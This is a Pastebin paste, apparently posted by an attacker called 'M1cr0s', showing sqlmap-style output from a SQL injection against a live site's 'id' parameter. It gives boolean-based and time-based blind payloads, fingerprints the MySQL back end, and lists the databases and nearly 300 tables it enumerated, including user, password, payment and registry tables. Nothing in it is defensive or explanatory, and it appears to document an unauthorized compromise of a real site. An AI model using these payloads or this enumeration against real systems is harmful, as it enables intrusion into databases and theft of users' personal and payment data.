Advertisement
M1cr0s

SQLi - M1cr0s - DB and Tables

Oct 22nd, 2017
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.12 KB | None | 0 0
  1. SQL Injection - M1cr0s | DB Tables
  2.  
  3. Parameter: id (GET)
  4. Type: boolean-based blind
  5. Title: AND boolean-based blind - WHERE or HAVING clause
  6. Payload: id=131 AND 7188=7188
  7.  
  8. Type: AND/OR time-based blind
  9. Title: MySQL >= 5.0.12 OR time-based blind
  10. Payload: id=131 OR SLEEP(5)
  11. ---
  12. [23:21:26] [INFO] the back-end DBMS is MySQL
  13. web application technology: Apache
  14. back-end DBMS: MySQL >= 5.0.12
  15.  
  16. available databases [2]:
  17. [*] alphaone
  18. [*] information_schema
  19. ----------------------------------------------------------------
  20. Database: information_schema
  21. [28 tables]
  22. +---------------------------------------+
  23. | CHARACTER_SETS |
  24. | COLLATIONS |
  25. | COLLATION_CHARACTER_SET_APPLICABILITY |
  26. | COLUMNS |
  27. | COLUMN_PRIVILEGES |
  28. | ENGINES |
  29. | EVENTS |
  30. | FILES |
  31. | GLOBAL_STATUS |
  32. | GLOBAL_VARIABLES |
  33. | KEY_COLUMN_USAGE |
  34. | PARTITIONS |
  35. | PLUGINS |
  36. | PROCESSLIST |
  37. | PROFILING |
  38. | REFERENTIAL_CONSTRAINTS |
  39. | ROUTINES |
  40. | SCHEMATA |
  41. | SCHEMA_PRIVILEGES |
  42. | SESSION_STATUS |
  43. | SESSION_VARIABLES |
  44. | STATISTICS |
  45. | TABLES |
  46. | TABLE_CONSTRAINTS |
  47. | TABLE_PRIVILEGES |
  48. | TRIGGERS |
  49. | USER_PRIVILEGES |
  50. | VIEWS |
  51. +---------------------------------------+
  52. Database: alphaone
  53. [292 Tables]
  54.  
  55. a1_perms
  56. address
  57. app
  58. app_category
  59. attribute
  60. attribute_option
  61. audiologist
  62. audiologist2Category
  63. audiology_category
  64. cart
  65. category
  66. classified
  67. classified_category
  68. comments
  69. consumer
  70. counties
  71. country
  72. event
  73. faq
  74. faq_cat
  75. form
  76. form_element_options
  77. form_element_options_final
  78. form_final
  79. form_page
  80. form_page_final
  81. form_part
  82. form_part_final
  83. galleryphoto
  84. homepage_products
  85. hp_boxes
  86. info
  87. info_old
  88. link
  89. link_cat
  90. news
  91. news_category
  92. newsletter
  93. pca_registry
  94. pca_registry_bkp
  95. pca_registry_pword
  96. person
  97. person2site
  98. photoid
  99. product
  100. product2cart
  101. product2category
  102. related2page
  103. resource_category
  104. resource_company
  105. resource_ren
  106. shopper
  107. site
  108. site_section
  109. site_section_old
  110. state
  111. title
  112. users
  113. vb_access
  114. vb_adminhelp
  115. vb_administrator
  116. vb_adminlog
  117. vb_adminmessage
  118. vb_adminutil
  119. vb_album
  120. vb_albumpicture
  121. vb_albumupdate
  122. vb_announcement
  123. vb_announcementread
  124. vb_attachment
  125. vb_attachmentpermission
  126. vb_attachmenttype
  127. vb_attachmentviews
  128. vb_avatar
  129. vb_bbcode
  130. vb_bookmarksite
  131. vb_calendar
  132. vb_calendarcustomfield
  133. vb_calendarmoderator
  134. vb_calendarpermission
  135. vb_cpsession
  136. vb_cron
  137. vb_cronlog
  138. vb_customavatar
  139. vb_customprofilepic
  140. vb_datastore
  141. vb_deletionlog
  142. vb_discussion
  143. vb_discussionread
  144. vb_editlog
  145. vb_event
  146. vb_externalcache
  147. vb_faq
  148. vb_forum
  149. vb_forumpermission
  150. vb_forumprefixset
  151. vb_forumread
  152. vb_groupmessage
  153. vb_groupmessage_hash
  154. vb_groupread
  155. vb_holiday
  156. vb_humanverify
  157. vb_hvanswer
  158. vb_hvquestion
  159. vb_icon
  160. vb_imagecategory
  161. vb_imagecategorypermission
  162. vb_infraction
  163. vb_infractionban
  164. vb_infractiongroup
  165. vb_infractionlevel
  166. vb_language
  167. vb_mailqueue
  168. vb_moderation
  169. vb_moderator
  170. vb_moderatorlog
  171. vb_notice
  172. vb_noticecriteria
  173. vb_noticedismissed
  174. vb_passwordhistory
  175. vb_paymentapi
  176. vb_paymentinfo
  177. vb_paymenttransaction
  178. vb_phrase
  179. vb_phrasetype
  180. vb_picture
  181. vb_picturecomment
  182. vb_picturecomment_hash
  183. vb_plugin
  184. vb_pm
  185. vb_pmreceipt
  186. vb_pmtext
  187. vb_pmthrottle
  188. vb_podcast
  189. vb_podcastitem
  190. vb_poll
  191. vb_pollvote
  192. vb_post
  193. vb_postedithistory
  194. vb_posthash
  195. vb_postindex
  196. vb_postlog
  197. vb_postparsed
  198. vb_prefix
  199. vb_prefixpermission
  200. vb_prefixset
  201. vb_product
  202. vb_productcode
  203. vb_productdependency
  204. vb_profileblockprivacy
  205. vb_profilefield
  206. vb_profilefieldcategory
  207. vb_profilevisitor
  208. vb_ranks
  209. vb_reminder
  210. vb_reputation
  211. vb_reputationlevel
  212. vb_rssfeed
  213. vb_rsslog
  214. vb_search
  215. vb_session
  216. vb_setting
  217. vb_settinggroup
  218. vb_sigparsed
  219. vb_sigpic
  220. vb_smilie
  221. vb_socialgroup
  222. vb_socialgroupcategory
  223. vb_socialgroupicon
  224. vb_socialgroupmember
  225. vb_socialgrouppicture
  226. vb_spamlog
  227. vb_stats
  228. vb_strikes
  229. vb_style
  230. vb_subscribediscussion
  231. vb_subscribeevent
  232. vb_subscribeforum
  233. vb_subscribegroup
  234. vb_subscribethread
  235. vb_subscription
  236. vb_subscriptionlog
  237. vb_subscriptionpermission
  238. vb_tachyforumcounter
  239. vb_tachyforumpost
  240. vb_tachythreadcounter
  241. vb_tachythreadpost
  242. vb_tag
  243. vb_tagsearch
  244. vb_tagthread
  245. vb_template
  246. vb_templatehistory
  247. vb_thread
  248. vb_threadrate
  249. vb_threadread
  250. vb_threadredirect
  251. vb_threadviews
  252. vb_upgradelog
  253. vb_user
  254. vb_useractivation
  255. vb_userban
  256. vb_userchangelog
  257. vb_usercss
  258. vb_usercsscache
  259. vb_userfield
  260. vb_usergroup
  261. vb_usergroupleader
  262. vb_usergrouprequest
  263. vb_userlist
  264. vb_usernote
  265. vb_userpromotion
  266. vb_usertextfield
  267. vb_usertitle
  268. vb_visitormessage
  269. vb_visitormessage_hash
  270. vb_word
  271. vw_alphaone_resources
  272. vw_pa_registry
  273. wp_aoc_commentmeta
  274. wp_aoc_comments
  275. wp_aoc_links
  276. wp_aoc_ngg_album
  277. wp_aoc_ngg_gallery
  278. wp_aoc_ngg_pictures
  279. wp_aoc_options
  280. wp_aoc_postmeta
  281. wp_aoc_posts
  282. wp_aoc_term_relationships
  283. wp_aoc_term_taxonomy
  284. wp_aoc_termmeta
  285. wp_aoc_terms
  286. wp_aoc_usermeta
  287. wp_aoc_users
  288. wp_aoc_wfBadLeechers
  289. wp_aoc_wfBlockedIPLog
  290. wp_aoc_wfBlocks
  291. wp_aoc_wfBlocksAdv
  292. wp_aoc_wfConfig
  293. wp_aoc_wfCrawlers
  294. wp_aoc_wfFileMods
  295. wp_aoc_wfHits
  296. wp_aoc_wfHoover
  297. wp_aoc_wfIssues
  298. wp_aoc_wfLeechers
  299. wp_aoc_wfLockedOut
  300. wp_aoc_wfLocs
  301. wp_aoc_wfLogins
  302. wp_aoc_wfNet404s
  303. wp_aoc_wfReverseCache
  304. wp_aoc_wfScanners
  305. wp_aoc_wfStatus
  306. wp_aoc_wfThrottleLog
  307. wp_aoc_wfVulnScanners
  308. wp_aoc_xyz_cfm_form
  309. wp_aoc_xyz_cfm_form_elements
  310. wp_aoc_xyz_cfm_sender_email_address
  311. wp_commentmeta
  312. wp_comments
  313. wp_links
  314. wp_options
  315. wp_postmeta
  316. wp_posts
  317. wp_term_relationships
  318. wp_term_taxonomy
  319. wp_termmeta
  320. wp_terms
  321. wp_usermeta
  322. wp_users
  323. wp_wfBadLeechers
  324. wp_wfBlockedIPLog
  325. wp_wfBlocks
  326. wp_wfBlocksAdv
  327. wp_wfConfig
  328. wp_wfCrawlers
  329. wp_wfFileMods
  330. wp_wfHits
  331.  
  332. ~M1cr0s
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement